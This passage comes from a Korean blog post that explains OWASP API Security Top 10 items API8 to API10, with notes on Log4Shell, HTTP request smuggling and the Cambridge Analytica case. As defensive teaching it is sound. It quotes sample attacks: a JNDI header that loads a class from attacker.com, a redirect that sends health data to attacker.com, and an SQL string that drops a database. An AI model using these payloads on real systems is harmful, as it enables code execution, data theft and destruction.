- 만약 시나리오#2처럼 애플리케이션이 모든 외부 IP 주소 또는 도메인 이름으로 요청이 가능한 경우, OWASP - Server Side Request Forgery Prevention - Case 2. Application can send requests to ANY external IP address or domain name을 참고하자.
- 허용 목록 접근 방식을 사용할 수 없기 때문에, 블록 리스트 접근법(block-list approach)가 최고의 솔루션이 된다. (이 방법이 뚫지 못할 벽이 아님을 알면서도)
- 읽어보면 프로토콜, IP 주소, 매개변수 등에 대해 정규표현식 검사 같은 작업을 수행하고, 리다이렉션은 똑같이 막아주고, 뭐 이런 식이다.
9. API8:2023 - Security Misconfiguration
📌 보안 설정 오류
API8:2023 Security Misconfiguration - OWASP API Security Top 10
API8:2023 Security Misconfiguration Threat agents/Attack vectors Security Weakness Impacts API Specific : Exploitability Easy Prevalence Widespread : Detectability Easy Technical Severe : Business Specific Attackers will often attempt to find unpatched fla
owasp.org
💡 API 설정 실수나 보안 모범 사례 미준수로 인해 공격에 노출될 가능성이 있다.
API와 지원 시스템은 일반적으로 사용자 정의가 가능한 복잡한 설정을 포함한다.
소프트웨어와 DevOps 엔지니어들은 이러한 설정을 놓치거나, 설정에 대한 보안 모범 사례를 따르지 않을 수도 있다.
이는 다양한 유형의 공격에 대한 문을 열어놓는 행위다.
위협 요인 / 공격 벡터 | 보안 취약점 | 영향 |
API 특정: 악용 가능성 쉬움 | 유병률 널리 퍼짐 : 감지 쉬움 | 기술 심각 : 비즈니스 특정 |
공격자는 종종 수정되지 않은 결함, 일반적인 엔드 포인트, 안전하지 않은 기본 설정으로 실행 중인 서버, 혹은 보호되지 않는 파일과 디렉토리를 찾아서 시스템에 대한 무단 엑세스나 지식을 얻으려고 시도한다. 이런 공격 방법들은 대부분 공개된 지식이며, 악용이 가능할 수 있다. |
보안 오류 구성은 API stack의 어떤 계층에서도 발생할 수 있다. (네트워크 레벨부터 애플리케이션 레벨까지) 자동화된 도구들은 이를 감지하고 불필요한 서비스나 오래된 옵션과 같은 보안 오류 구성을 악용할 수 있게 한다. |
보안 오류 구성은 민감한 사용자 정보 뿐만 아니라, 서버가 완전히 손상될 수 있는 시스템 상세 정보를 유출시킬 수 있다. |
허허, 난 되게 단순한 케이스만 생각했는데, 사례를 보니 그보다 더 심오한 내용이었다.
- API 스택의 어느 부분에서 적절한 보안 강화가 누락되었거나, 클라우드 서비스에 대한 권한이 부적절하게 구성되어 있는 경우
- 최신 보안 패치가 누락되었거나 시스템이 오래된 경우
- 불필요한 기능이 활성화되어 있는 경우 (e.g. HTTP verbs, logging 기능)
- HTTP 서버 체인 내에서 요청을 처리하는 방식에 차이가 존재하는 경우
- TLS가 없는 경우
- 보안 또는 캐시 제어 지침이 클라이언트로 전송되지 않은 경우
- CORS 정책이 누락되었거나, 잘못 설정된 경우
- 오류 메시지에 스택 추적(trace)가 포함되거나, 기타 중요한 정보가 노출된 경우.
📌 Scenario #1
API 백엔드 서버는 플레이스 홀더 확장 및 JNDI(Java Naming and Directory Interface) 조회를 지원하는 인기있는 third-party 오픈소스 로깅 유틸리티가 작성한 접근 로그를 유지 및 관리하고 있다. (둘 다 활성화되어 있다고 가정)
각 요청에 대해 `<method> <api_version>/<path> - <status_code>`패턴의 로그를 기록하고 있다.
공격자가 다음과 같은 API 요청을 발행했다고 가정하자.
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
이 요청은 액세스 로그 파일에 기록된다.
로깅 유틸리티의 안전하지 않은 기본 구성과 관대한 네트워크 아웃바운드 정책을 사용하는 경우 다음과 같은 플로우가 실행된다.
`X-Api-Version`요청의 헤더 값을 확장하기 위해, 로깅 유틸리티는 공격자의 원격 제어 서버에서 `Malicious.class` 객체를 가져와서 실행한다.
✨ Log4Shell 취약점(CVE-2021-44228)
Log4j version2(2.0-BETA-9와 2.14.1 버전 사이)에서 실제로 발견되었던 심각한 취약점이며, 2.15.0 버전에서 패치되었다.
(보다 자세한 분석은 해당 블로그를 참고해보세요.)
흐름을 간략하게 정리하자면,
1. 공격자가 악의적인 JNDI 조회 문자열을 포함한 요청을 발행
2. 로깅 유틸리티가 헤더 값을 로그에 기록하려 함.
3. 이 과정에서 플레이스 홀더(`$`와 `{`)를 발견하면, replace 메서드를 실행하여 JNDI 조회를 실행
4. JndiManager.lookup() 메서드 내에서 JNDI 링크에 대한 검증이 존재하지 않아, 공격자 서버로 요청 전송
5. 아웃바운드 규칙이 막혀있지 않아, 그대로 공격자 서버로 도달하여 악성 클래스 다운
6. 원격 코드 실행 및 정보 유출
애초에 왜 이런 동작이 있나 싶었는데, JNDI가 애초에 Java 애플리케이션이 이름으로 객체나 데이터를 찾을 수 있게 해주는 API기 때문이다.
원래 의도된 사용 사례는 다음과 같다.
1. 데이터베이스 연결 정보를 JNDI에 등록해두고 필요할 때 조회
2. JMS(Java Message Service) 큐나 토픽의 위치 조회
3. 분산 환경에서 원격 객체 위치 조회
4. LDAP(Lightweight Directory Access Protocol; 데이터들을 보관하고 조회 및 사용하기 위한 프로토콜) 디렉토리에서 사용자 정보나 설명 조회.
문제는 이러한 "유연성"이 보안 취약점으로 작용했다.
JNDI가 원격 서버에서 java 클래스를 동적으로 로드할 수 있는 기능은 분산 시스템 구성에서 유용했으나, 외부 서버 참조 시 해당 서버에 대한 검증이 미흡하여 발생한 문제다.
📌 Scenario #2
소셜 네트워크 웹 사이트에서 사용자가 비공개 대화를 유지할 수 있는 "직접 메시지" 기능을 제공하고 있다.
특정 대화에 대한 새 메시지를 검색하기 위해, 웹 사이트는 다음의 API 요청을 사용한다.
(단, 이때 사용자와의 상호작용은 필요하지 않다.)
GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
API 응답에는 `Cache-Control` HTTP 응답 헤더가 포함되어 있지 않기 때문에, 비공개 대화 내용이 웹 브라우저에 캐시될 수 있다.
공격자는 파일 시스템의 브라우저 캐시 파일에서 해당 대화를 검색할 수 있다.
📌 How To Prevent
API 라이프 사이클에 다음을 포함하라.
- 보안이 강화된 환경을 빠르고 쉽게 배포할 수 있도록, 반복 가능한 강화 프로세스를 구축하라.
- 전체 API 스택에 걸쳐 설정을 검토하고 업데이트하는 작업을 수행하라.
- 검토 대상은 오케스트레이션 파일, API 구성 요소, 클라우드 서비스(S3 버킷 권한 등)가 포함된다.
- 모든 환경에서 설정 및 보안 구성이 효과적으로 유지되고 있는지, 지속적으로 평가하는 자동화된 프로세스를 도입하라.
추가 조치
- API 클라이언트에서 API 서버 및 업스트림/다운스트림 구성 요소로의 통신은 내부 API든, 공개 API든 관계없이 반드시 암호화된 통신 채널(TLS)을 통해 이루어져야 한다.
- 각 API에서 허용할 HTTP 메서드를 명확히 지정하고, 그 외의 메서드(ex: HEAD)는 비활성화 하라.
- 브라우저 기반 클라이언트에서 접근하는 API는 최소한 다음 항목을 구현해야 한다.
- 적절한 CORS(Cross-Origin Resource Sharing) 정책 적용
- 관련 보안 헤더(Security Headers) 포함
- 들어오는 컨텐츠 유형 및 데이터 형식을 비즈니스 및 기능 요구 사항을 충족하는 것으로 제한하라.
- `.jpeg`나 `.png` 이미지 파일만 받아서 저장할 거면, 확장자를 제한하라. 그렇지 않으면, 공격자가 `.exe`나 `.js` 파일을 업로드 할 수 있게 된다.
- HTTP 서버 체인(ex: 로드 밸런서, 리버스 및 포워드 프록시, 백엔드 서버)에 포함된 모든 서버가 일관된 방식으로 요청을 처리하도록 설정하여, 요청 비동기화(Desync) 문제를 방지해야 한다.
- 가능한 경우, API 응답 페이로드의 스키마(에러 응답 포함)를 명확히 정의하고, 예외(trace)정보나 기타 중요한 정보가 공격자에게 노출되지 않도록 막아야 한다.
✨ Desync Issue
해당 블로그에 매우매우 친절하게 설명되어 있습니다.
우선, 비동기화 문제는 HTTP 요청이 서버 체인을 통과할 때, 각 서버가 같은 요청을 다르게 해석하면서 발생하는 보안 취약점이다.
클라이언트와 프록시는 HTTP 1.1로 통신을 하는데, 프록시와 서버는 HTTP 1.0을 사용했을 때 보안 취약점이 발생한다는 것부터 신기했다.
(요샌 클라이언트와 프록시는 HTTP 2 이상, 프록시와 서버는 HTTP 1.1을 사용했던 거 같다.)
여튼, HTTP 요청에 "Content-Length"와 "Transfer-Encoding" 헤더가 포함되어 있다고 가정하자.
• Content-Length: 전송하는 데이터의 크기를 미리 알고 있는 경우와 다량 패킷 처리에 적합한 헤더
• Transfer-Encoding: 프로세스가 완전히 처리되기 전까지 전송되는 데이터 전체 크기를 파악하지 못하는 경우 유용. (데이터를 보내기 전엔 앞에 데이터 크기를 16진수로 전송하고, 종료하는 경우 `0\r\n\r\n`으로 종료하는데, 이로 인해 Content-Length와 차이가 발생하게 된다.)
RFC7230 #section=3.3.3 3항에선, 두 헤더가 공존하는 경우에 Transfer-Encoding이 Content-Length를 대체해야 한다고 명시되어 있다.
그런데 WAS나 LB는 이를 잘 따르는데, Proxy가 Content-Length를 기준으로 해석해버리면, HTTP Request Smuggling 취약점이 발생한다. (HRS가 뭔가 해서 검색해봤더니, 지금 상황이 HRS 였다. 아 ㅋㅋ)
1. 공격자가 Content-Length와 Transfer-Encoding 헤더를 활용하여, 두 개의 요청을 하나처럼 조작
2. Content-Length와 Transfer-Encoding 헤더가 공존하는 요청이 Proxy에 도달
3. Proxy가 Content-Length 헤더를 우선적으로 처리하여, HTTP 요청을 하나의 요청으로 인식하여 백엔드 서버로 전달.
4. 백엔드 서버가 Transfer-Encoding 헤더를 우선적으로 처리하여, 종ㄹ료 문자인 `0\r\n\r\n`까지를 하나의 패킷으로 인식하여 처리. (뒤에 남은 문자들을 처리하지 않고, 버퍼에 남겨둠.)
5. 새로운 사용자가 HTTP 요청을 전송했는데, 백엔드 서버에서 이전 요청에 처리되지 않고 남아있던 데이터가 패킷 앞 부분에 붙어서, 405 (Method Not Allowed) 에러를 유발.
여기선 단순히 다른 사용자 요청을 방해하는 정도지만, 악의적인 스크립트를 삽입하여 다른 요청 때 스크립트가 실행되도록 공격할 수도 있다.
📌 Personal Opinion
OWASP Secure Headers Project | OWASP Foundation
Provides technical information about HTTP security headers.
owasp.org
OWASP에선 응답 헤더로 보안을 강화하는 방법까지 제시해주고 있다. (지금까지 신경을 전혀 쓰지 않던 게 부끄러워질 정도)
그 외에도 다양한 테스트 가이드에 대해 적혀있으니, 관심있으면 읽어보면 좋을 듯하다.
- Configuration and Deployment Management Testing - Web Security Testing Guide
- Testing for Error Handling - Web Security Testing Guide
- Testing for Cross Site Request Forgery - Web Secruity Testing Guide
10. API9:2023 - Improper Inventory Management
📌 부적절한 API 인벤토리 관리
API9:2023 Improper Inventory Management - OWASP API Security Top 10
API9:2023 Improper Inventory Management Threat agents/Attack vectors Security Weakness Impacts API Specific : Exploitability Easy Prevalence Widespread : Detectability Average Technical Moderate : Business Specific Threat agents usually get unauthorized ac
owasp.org
💡 API 엔드포인트와 호스트 버전을 제대로 관리하지 않으면 보안 취약점이 발생할 수 있다.
API들은 전통적인 웹 애플리케이션보다 더 많은 end-points를 개방하는 경향이 있는데, 적절하고 업데이트된 문서가 매우 중요하다.
또한 호스트와 개발(배포)된 API 버전의 적절한 인벤토리(inventory) 관리 또한 deprecated API 버전과 디버그 end-points가 노출되는 등의 보안 문제가 발생할 수 있다.
위협 요인 / 공격 벡터 | 보안 취약점 | 영향 |
API 특정: 악용 가능성 쉬움 | 유병률 널리 퍼짐 : 감지 평균 | 기술 중간 : 비즈니스 특정 |
위협 에이전트들은 일반적으로 패치되지 않고, 약한 보안 요구 사항을 사용하는 오래된 API 버전이나 엔드 포인트를 통해 무단으로 접근한다. 이는 몇몇 상황에서 악용이 가능하다. 또는 데이터를 공유할 이유가 없는 제 3자를 통해서 민감한 데이터에 엑세스할 수도 있다. |
기한이 지난 문서들은 취약점을 발견하고 수정하기 어렵게 만든다. 자산 인벤토리와 은퇴(deprecated) 전략의 부족은 패치되지 않은 시스템을 실행하게 되고, 그 결과 민감한 데이터가 유출될 수 있다. MSA와 같은 최신 개념으로 인해, 불필요하게 노출된 API 호스트를 찾는 것은 흔한 일인데, 이는 애플리케이션을 배포하기 쉽고 독립적으로 만든다. (ex: 클라우드 컴퓨팅, K8S) 간단한 Google Dorking, DNS 열거 또는 인터넷에 연결된 다양한 유형의 서버(ex: 웹캡, 라우터, 서버 등)에 대한 특수 검색 엔진을 사용하면 타겟을 발견하기에 충분하다. |
공격자는 민감한 정보뿐만 아니라 서버를 점유할 수도 있다. 때때로 서로 다른 API 버전/배포는 실제 데이터와 함께 같은 데이터베이스에 연결되어 있다. 공격자는 구버전 API의 사용이 가능한 만료된 엔드 포인트를 통해, 관리자 함수 접근을 얻거나, 알려진 취약점을 악용할 수 있다. |
API Inventory는 쉽게 말해서 조직이 보유하고 있는 모든 API들의 목록과 현황을 관리하는 프로세스를 말한다. (사실 저도 처음 들어본 용어라 아닐 수도 있습니다.)
여튼 이 보안 측면에 있어서, 내 서비스는 상당히 아쉬운 부분이 있다.
- URL만 안다면, 누구나 API 문서를 조회할 수 있다.
- 만약, dev와 prod 환경의 서버를 분리했다면, 현재 적용한 트래픽 처리율 제한 장치가 dev에는 적용되지 않았을 가능성이 농후하다.
- 개발 환경과 운영 환경의 db를 분리할 정도로 프로젝트 사정이 넉넉하진 않았던 터라, 만약 실제 런칭까지 갔었다면 같은 DB를 공유하게 됐을 것이다. 그러나 트래픽 처리 제한 장치는 prod에만 적용했을 가능성이 높고, 이로 인해 개발 서버를 통해 악의적인 공격을 손쉽게 허용하게 되었을 것이다.
📌 Scenario #1
소셜 네트워크는 공격자가 무차별 대입 공격을 사용하여 비밀번호 재설정 토큰을 추측하는 것을 차단하는 트래픽 처리 제한 장치를 구현했다.
해당 메커니즘은 API 코드 자체의 일부로 구현하진 않았지만, 클라이언트와 공식 API(`api.socialnetwork.owasp.org`) 사이의 별도 구성 요소로 구현했다.
한 연구자는 비밀번호 재설정 메커니즘을 포함한 동일 API를 실행하는 베타 API 호스트(`beta.api.socialnetwork.owasp.org`)를 찾았으나, 거기엔 트래픽 처리 제한 장치가 존재하지 않았다.
연구자는 간단한 무차별 대입 공격을 사용해 6자리 토큰을 추측하여, 모든 사용자의 비밀번호를 재설정하는 데 성공한다.
📌 Scenario #2
한 소셜 네트워크는 독립적인 애플리케이션 개발자가 플랫폼과 통합할 수 있도록 허용했다.
이 과정에서, 소셜 네트워크는 사용자의 개인 정보를 독립 앱과 공유하기 위해 사용자의 동의를 요청했다.
그러나, 소셜 네트워크와 독립 앱 간의 데이터 흐름이 충분히 제한되지 않고 모니터링도 부족하여,
독립 앱이 단순히 사용자 정보뿐만 아니라, 해당 사용자의 친구들의 비공개 정보까지 접근할 수 있는 취약점이 존재했다.
이러한 보안 결함을 악용한 어느 컨설팅 업체는 악성 앱을 개발해 27만 명의 사용자로부터 동의를 획득했다.
이후 컨설팅 업체는 총 5천만 명의 개인정보를 무단 수집하고, 이 데이터를 악의적인 목적으로 판매했다.
✨ 페이스북-케임브리지 애널리티카 정보 유출 사건(Facebook-Cambridge Analytica Data Breach)
찾아보니, 2016년에 페이스북에서 실제로 발생했던 보안 취약점이었다.
(시나리오#2는 API가 본래 목적보다 더 넓은 범위의 데이터 접근을 허용한 사례지만, 페이스북 사태는...그냥 페이스북이 페이스북 했다.)
사건의 개요를 살펴보면, 케임브리지 대학의 과학자가 성격 퀴즈 앱을 개발해서 케임브리지 애널리티카에 제공했었다.
케임브리지 애널리티카는 그것을 순전히 학문 연구를 위함이라며, 수십만 페이스북 사용자들이 설문지를 작성하도록 유도한 다음, 동의서 작성 과정을 일괄 처리했다.
그러나 여기에 동의한 사용자들의 개인 정보가 앱을 통해 수집되고 있었으며, 페이스북에서 자신과 연결된 다른 사람들의 개인정보까지 전부 수집되게 허락한 셈이 되어버렸다.
이런 식으로 케임브리지 애널레티카는 수백만 페이스북 사용자들의 데이터를 획득할 수 있었다.
👉 페이스북으로 8,700만 개의 사용자 프로필을 수집했던 플로우
👉 페이스북 API의 심각한 결함
📌 How To Prevent
- API 호스트 인벤토리 관리
- 모든 API 호스트를 인벤토리화하고 중요한 요소를 문서화해야 한다.
- 특히 API 환경(ex: production, staging, test, development), 네트워크 접근 가능 대상(ex: public, internal, partner), API 버전 정보를 명확히 기록해야 한다.
- 통합 서비스 인벤토리 관리
- API와 연동되는 외부 서비스의 역할, 데이터 흐름(교환되는 데이터 유형), 민감도를 문서화해야 한다.
- API 주요 요소 문서화
- 인증 방식, 오류 처리, 리다이렉션, 요청 제한(rate limiting), CORS 정책, 엔드포인트별 요청/응답 및 파라미터를 포함한 API의 모든 주요 측면을 문서화해야 한다.
- 자동 문서화 및 CI/CD 연계
- 표준을 활용하여 API 문서를 자동 생성하고, 이를 CI/CD 파이프라인에 포함시켜 최신 상태를 유지해야 한다.
- 문서 접근 권한 관리
- API 문서는 API를 사용할 권한이 있는 사용자만 접근할 수 있도록 제한해야 한다.
- API 보안 솔루션 적용
- 현재 운영 중인 프로덕션 버전뿐만 아니라, 이전 버전 및 모든 공개된 API 버전에도 API 보안 솔루션을 적용해야 한다.
- 비프로덕션 환경에서의 데이터 관리
- 프로덕션 데이터를 테스트 또는 개발 환경에서 사용하지 않는 것이 원칙이다.
- 불가피한 경우, 해당 환경을 프로덕션과 동일한 수준으로 보호해야 한다.
- API 버전 관리 및 보안 개선
- 새로운 API 버전에서 보안이 강화되면, 기존 버전에 대한 보안 리스크 분석을 수행하여 필요한 대응 조치를 결정해야 한다.
- 개선 사항을 기존 버전에 적용(backport)할 수 있는 지 검토해야 한다.
- API 호환성을 유지할 수 없는 경우, 구버전 사용을 중단시키고 모든 클라이언트가 최신 버전으로 이동하도록 강제해야 한다.
📌 Personal Opinion
여긴 뭐 나부터 두들겨 맞아야 하는 항목이라 쉽사리 적을 내용은 없지만,
Swagger 문서가 누구나 쉽게 조회할 수 있는 점이 문제가 되지 않을까 싶어 방법을 구상해보았다.
시작하기 앞서 API 보안이 잘 설정되어 있다면, 스웨거 문서 노출을 막을 이유가 딱히 존재하지는 않는다는 내용의 게시글들이 꽤 많았다.
당연히 그럴리가 없다.
- API 문서는 개발자와 협업하기 위한 문서로서, 어떠한 엔드포인트가 어떻게 동작하고, 경우에 따라선 구현 정보까지 포함되어 있을 수 있다.
- 만약 공격자가 이러한 스웨거 UI에 접근할 수 있으면, 내부 API에 대한 자세한 정보를 손쉽게 획득할 수 있으며, 개발자가 놓친 취약점을 노려 공격을 시도할 수도 있다.
우선 Swagger 자체에서 이를 제어할 수 있는 방법은 아직까지 제공하지 않는 것 같다. (OpenAPI 3.0부턴 뭔가 되는 거 같긴 한데, 내가 생각하는 기능인지 모르겠다. 나중에 따로 조사해봐야할 듯.)
그렇다면, 백엔드 개발자가 다음과 같은 전략을 택해볼 수 있지 않을까?
- 접근 제한
- 스웨거 UI에 접근하기 위해서 IP 화이트리스트나 VPN 또는 네트워크 수준의 방화벽을 구성할 수 있다.
- 인증 구현
- 애플리케이션 단에서 스웨거 UI 접근을 위한 추가 인증 프로세스를 구현할 수도 있다. (근데 구현이 좀 많이 귀찮아질 거 같다.)
- 환경별 구성
- production 환경에선 굳이 스웨거 UI를 노출할 필요가 없지 않을까?
- 실제로 내 프로젝트 설정에서 prod 환경에서 동작하는 애플리케이션은 스웨거 UI를 위한 경로가 제공되지 않게 만들었다.
- HTTPS 요청만 허용
- 스웨거 UI 접근 또한 언제나 TLS 하에서 이루어지도록 구성하는 것이 안전하다.
11. API10:2023 - Unsafe Consumption of APIs
📌 안전하지 않은 API 소비
API10:2023 Unsafe Consumption of APIs - OWASP API Security Top 10
API10:2023 Unsafe Consumption of APIs Threat agents/Attack vectors Security Weakness Impacts API Specific : Exploitability Easy Prevalence Common : Detectability Average Technical Severe : Business Specific Exploiting this issue requires attackers to ident
owasp.org
💡 서드파티 API 데이터를 과신하면, 공격자가 이를 악용해 API를 위협할 수 있다.
개발자들이 사용자 입력보다 서드 파티(third-party) API로 부터 온 데이터를 더 신뢰하는 경향이 있어, 더 낮은 보안 기준을 채택하곤 한다.
공격자는 API를 손상시키기 위해서 직접적인 공격을 가하지 않고, 통합된 타사 서비스를 타겟으로 삼아 API를 위협할 수 있다.
위협 요인 / 공격 벡터 | 보안 취약점 | 영향 |
API 특정: 악용 가능성 쉬움 | 유병률 일반 : 감지 평균 | 기술 심각함 : 비즈니스 특정 |
공격자가 API와 통합된 다른 API/서비스들을 식별하고, 잠재적으로 위협할 수 있어야 한다. 일반적으로, 이런 정보는 공개적으로 이용 불가능하거나, 통합된 API/서비스가 쉽게 악용될 수 없다. |
개발자는 외부 혹은 서드 파티 API와 상호 작용하는 엔드포인트를 신뢰하고, 검증하지 않는 대신, 전송 보안, 인증/권한 부여, 입력 검증 및 정제와 같은 보안 요구 사항을 약하게 설정하는 경향이 있다. 공격자는 대상 API가 통합하는 서비스(데이터 소스)를 식별하고, 이를 손상시켜야 한다. |
대상 API가 가져온 데이터로 무엇을 하는지에 따라 다르다. 허가받지 않은 행위자에게 민감한 정보가 노출되거나, 다양한 종류의 주입 또는 서비스 거부로 이어질 수 있다. |
이거 읽고 상당히 찔렸다.
- 개발자는 사용자 입력보다 서드 파티 API에서 수신한 데이터를 신뢰하는 경향이 있다. ✅
- 그로 인해 개발자는 입력을 검증하거나 정체하지 않는다. ✅
뭐야, 내 얘기잖아? 허허허.
여튼, 다음과 같은 경우 API가 취약해질 수 있다고 한다.
- 암호화되지 않은 채널을 통해 다른 API와 상호 작용한다.
- 다른 API에서 수집한 데이터를 처리하거나, 다운스트림 구성 요소에 전달하기 전에 수행해야 할 유효성 검사를 수행하지 않는다.
- 맹목적으로 리다이렉션을 따른다.
- 타사 서비스 응답을 처리하는 데 사용 가능한 리소스 수에 제한을 두지 않는다.
- 타사 서비스와의 상호작용에 대한 시간 초과를 구현하지 않는다.
📌 Scenario #1
한 API는 사용자가 제공한 비즈니스 주소를 보강(enrich)하기 위해 서드파티 서비스를 사용한다.
사용자가 주소를 입력하면, API는 이를 서드파티 서비스로 전송하고, 반환된 데이터를 로컬 SQL 데이터베이스에 저장한다.
공격자는 서드파티 서비스에 악성 SQL 인젝션 페이로드가 포함된 비즈니스를 등록한다.
이후, 공격자는 API에 특정 입력값을 제공하여 "악성 비즈니스" 데이터를 서드파티 서비스에서 가져가도록 유도한다.
결과적으로, SQL 인젝션 페이로드가 데이터베이스에서 실행되면서, 기밀 데이터가 공격자의 제어어 서버로 유출된다.
📌 Scenario #2
한 API는 사용자의 민감한 의료 정보를 안전하게 저장하기 위해 서드파티 서비스와 통합했다.
데이터는 HTTPS 프로토콜 기반으로, 다음과 같이 전송되었다.
POST /user/store_phr_record
{
"genome": "ACTAGTAG__TTGADDAAIICCTT…"
}
공격자가 타사 API를 손상시킬 방법을 찾아내었고, 이전과 같은 요청에 `308 Permanent Redirect` 응답을 반환하도록 만들었다.
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/
API는 서드파티 리다이렉션을 맹목적으로 따르고 있었기 때문에, 동일한 요청(사용자의 민감한 데이터 포함)을 공격자의 서버로 전송하게 된다.
📌 Scenario #3
공격자는 다음과 같은 SQL 인젝션 페이로드를 포함한 Git 저장소를 준비한다.
'; drop db;--
공격 대상 애플리케이션이 해당 Git 저장소와 연동될 경우, 애플리케이션은 저장소 이름을 신뢰하고 이를 SQL 쿼리에 직접 삽입한다.
결과적으로, SQL 인젝션이 실행되어 데이터베이스가 손상될 수 있다.
📌 How To Prevent
- API 제공자의 보안 정책 및 취약점 대응 능력을 철저히 평가해야 한다.
- 모든 API 통신은 TLS를 사용하여 암호화해야 한다.
- 통합된 API에서 받은 데이터를 검증 및 정제한 후에만 사용하고, 예상된 데이터 형식과 일치하는 지 확인해야 한다.
- 허용된 리다이렉션 대상(Allowlist)을 유지하여 신뢰할 수 있는 URL로만 리다이렉션을 허용해야 한다. API가 임의의 리다이렉션을 무조건 따르지 않도록 구성해야 한다.